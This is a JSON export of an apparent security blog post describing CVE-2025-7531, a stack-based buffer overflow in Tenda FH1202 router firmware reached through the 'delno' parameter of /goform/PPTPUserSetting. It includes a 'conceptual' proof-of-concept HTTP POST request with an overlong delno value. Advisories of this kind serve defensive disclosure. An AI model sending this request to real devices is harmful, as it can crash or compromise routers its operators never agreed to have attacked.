{"id":59476,"date":"2025-07-18T20:54:12","date_gmt":"2025-07-18T20:54:12","guid":{"rendered":""},"modified":"2025-09-10T23:20:08","modified_gmt":"2025-09-11T05:20:08","slug":"cve-2025-7531-critical-buffer-overflow-vulnerability-in-tenda-fh1202","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-7531-critical-buffer-overflow-vulnerability-in-tenda-fh1202\/","title":{"rendered":"CVE-2025-7531: Critical Buffer Overflow Vulnerability in Tenda FH1202<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

Recently, a critical vulnerability has been identified in Tenda FH1202 1.2.0.14(408) potentially placing a multitude of systems at significant risk. This vulnerability, designated as CVE-2025-7531, affects the function fromPptpUserSetting of the file \/goform\/PPTPUserSetting. The severity of this vulnerability cannot be understated as it allows remote<\/a> attackers to execute a stack-based buffer overflow attack. This type of attack can lead to system<\/a> compromise, data leakage, and other severe consequences.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-7531
\nSeverity: Critical (CVSS: 8.8)
\nAttack Vector: Network
\nPrivileges Required: None
\nUser Interaction: None
\nImpact: Potential system<\/a> compromise and data leakage<\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

Tenda FH1202 | 1.2.0.14(408)<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The vulnerability resides in the function fromPptpUserSetting of the file<\/a> \/goform\/PPTPUserSetting. Specifically, the manipulation of the argument delno can lead to a stack-based buffer overflow<\/a>. This occurs when data is written into a buffer – or temporary data storage<\/a> area – and it exceeds the buffer’s capacity. The excess data can corrupt data values in memory<\/a> addresses adjacent to the buffer, leading to erratic program behavior, including memory access errors, incorrect results, program termination (a crash), or a breach of system security.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

Given the nature of this vulnerability, a potential exploit<\/a> might look as follows:
\n“`http
\nPOST \/goform\/PPTPUserSetting HTTP\/1.1
\nHost: target.example.com
\nContent-Type: application\/x-www-form-urlencoded
\ndelno=111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111<\/p>\n","protected":false},"excerpt":{"rendered":"

Overview Recently, a critical vulnerability has been identified in Tenda FH1202 1.2.0.14(408) potentially placing a multitude of systems at significant risk. This vulnerability, designated as CVE-2025-7531, affects the function fromPptpUserSetting of the file \/goform\/PPTPUserSetting. The severity of this vulnerability cannot be understated as it allows remote attackers to execute a stack-based buffer overflow attack. This […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[86],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-59476","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-buffer-overflow"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t